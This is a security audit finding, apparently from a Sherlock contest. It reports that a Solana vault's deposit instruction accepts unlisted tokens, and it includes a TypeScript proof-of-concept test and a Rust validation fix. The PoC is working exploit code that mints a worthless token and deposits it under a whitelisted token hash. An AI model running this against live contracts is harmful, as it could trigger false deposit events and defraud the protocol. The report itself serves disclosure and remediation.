sherlock-audit / 2024-09-orderly-network-solana-contract-judging

0 stars 0 forks source link

Immense Rouge Goose - Invalid Tokens are allowed to be deposited into the Vault #80

Open sherlock-admin3 opened 4 days ago

sherlock-admin3 commented 4 days ago

Immense Rouge Goose

High

Invalid Tokens are allowed to be deposited into the Vault

Summary

Any User can deposit any arbitrary token and the program will not invalidate such deposit

Root Cause

There is Insufficient token validation in deposit.rs

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

Any User Can call deposit token to deposit any unlisted token

Impact

This could trigger an event that some tokens(whitelisted) were deposited but in reality, the wrong tokens were deposited

PoC

Add

const hacker = await Keypair.generate();
await provider.connection.confirmTransaction(await provider.connection.requestAirdrop(hacker.publicKey, 10 * LAMPORTS_PER_SOL), "confirmed");

const RANDOM_MINT = await createMint(
    provider.connection,
    hacker,
    hacker.publicKey,
    null,
    6, // USDC has 6 decimals
    Keypair.generate(),
    confirmOptions
);
const hackerRandomTokenAccount = await getAssociatedTokenAddressSync(RANDOM_MINT, hacker.publicKey, true, TOKEN_PROGRAM_ID);
const vaultRandomTokenAccount = await getOrCreateAssociatedTokenAccount(provider.connection, hacker, RANDOM_MINT, vaultAuthorityPda, true);

await createAccount( // creates hacker token account
    provider.connection,
    hacker,
    RANDOM_MINT,
    hacker.publicKey,
    undefined,
    undefined,
    TOKEN_PROGRAM_ID
);

await mintUsdcTo(
    provider.connection, hacker, hacker, RANDOM_MINT, hackerRandomTokenAccount, 9e9
)
const previousRandomVaultBalance = await getTokenBalance(provider.connection, vaultRandomTokenAccount.address)
const previousRandomUserBalance = await getTokenBalance(provider.connection, hackerRandomTokenAccount)

        await program.methods
            .deposit({
                accountId: Array.from(wallet.publicKey.toBytes()),
                brokerHash: brokerHash,
                tokenHash: tokenHash,
                userAddress: Array.from(wallet.publicKey.toBytes()),
                tokenAmount: new BN(4e9),
            },{
                nativeFee: new BN(1000),
                lzTokenFee: new BN(0)
            })
            .accounts({
                user: hacker.publicKey,
                userTokenAccount: hackerRandomTokenAccount,
                vaultAuthority: vaultAuthorityPda,
                vaultTokenAccount: vaultRandomTokenAccount.address,
                depositToken: RANDOM_MINT,
                peer: peerPda,
                enforcedOptions: efOptionsPda,
                oappConfig: oappPda,
                allowedBroker: allowedBrokerPda,
                allowedToken: allowedTokenPda,
                tokenProgram: TOKEN_PROGRAM_ID,
                associatedTokenProgram: ASSOCIATED_TOKEN_PROGRAM_ID,
                systemProgram: SystemProgram.programId
            })
            .remainingAccounts([
                {
                    pubkey: endpointProgram.programId,
                    isWritable: true,
                    isSigner: false,
                },
                {
                    pubkey: oappPda, // signer and sender
                    isWritable: true,
                    isSigner: false,
                },
                {
                    pubkey: ulnProgram.programId,
                    isWritable: true,
                    isSigner: false,
                },
                {
                    pubkey: sendLibraryConfigPda,
                    isWritable: true,
                    isSigner: false,
                },
                {
                    pubkey: defaultSendLibraryConfigPda,
                    isWritable: true,
                    isSigner: false,
                },
                {
                    pubkey: messageLibInfoPda,
                    isWritable: true,
                    isSigner: false,
                },
                {
                    pubkey: endpointPda,
                    isWritable: true,
                    isSigner: false,
                },
                {
                    pubkey: noncePda, // nonce
                    isWritable: true,
                    isSigner: false,
                },
                {
                    pubkey: eventAuthorityPda,
                    isWritable: true,
                    isSigner: false,
                },
                {
                    pubkey: endpointProgram.programId,
                    isWritable: true,
                    isSigner: false,
                },
            ]).signers([hacker])
            .rpc(confirmOptions)
const newHackerBalance = await getTokenBalance(provider.connection, hackerRandomTokenAccount)
assert.equal(newHackerBalance, previousRandomUserBalance - 4e9,"Shitty Tokens Deposited From User's Account")

const newVaultRandomBalance = await getTokenBalance(provider.connection, vaultRandomTokenAccount.address)
assert.equal(newVaultRandomBalance, previousRandomVaultBalance + 4e9, "Vault Accepted Shitty Tokens")

to deposit_test_suite

Mitigation

Perform proper Validation in deposit.rs and lz_receive.rs by adding

    #[account(
        seeds = [TOKEN_SEED, deposit_params.token_hash.as_ref()],
        bump = allowed_token.bump,
        constraint = allowed_token.allowed == true 
            && (allowed_token.mint_account == deposit_token.key() ||
                oapp_config.usdc_mint == deposit_token.key()
               ) @ VaultError::TokenNotAllowed 
    )]
    pub allowed_token: Box<Account<'info, AllowedToken>>,